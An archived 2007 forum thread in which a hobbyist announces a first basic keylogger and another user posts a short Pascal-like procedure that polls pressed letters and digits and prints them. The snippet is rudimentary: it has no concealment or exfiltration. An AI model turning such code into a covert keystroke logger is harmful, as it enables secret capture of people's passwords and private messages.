SRL Archive - Other Scripts

My First And very basic keylogger!!


kingstun

2007-04-06 20:41:22

This just a basic keylogger that only records the alpabet!

Ron

2007-04-07 09:24:47

Heh. Cool. :)

Keep working on it man. Make sure to add a Wait(15) right before the until(false) so the CPU usage doesn't go up to 100%. And as for detecting all the letters. Try this instead.


procedure DetectLettersAndNumbers;
var
i, n : Integer;
Str : String;
begin
Str := 'abcdefghijklmnopqrstuvwxyz1234567890 ';
n := Length(Str);
for i := 1 to n do
if(IsKeyDown(Str[i]))then
WriteLn(Str[i]);
end;

kingstun

2007-04-07 14:13:56

thanx for suggestion its my first keylogging script!

R0b0t1

2007-04-07 19:15:20

Have you looked at other people that have made them?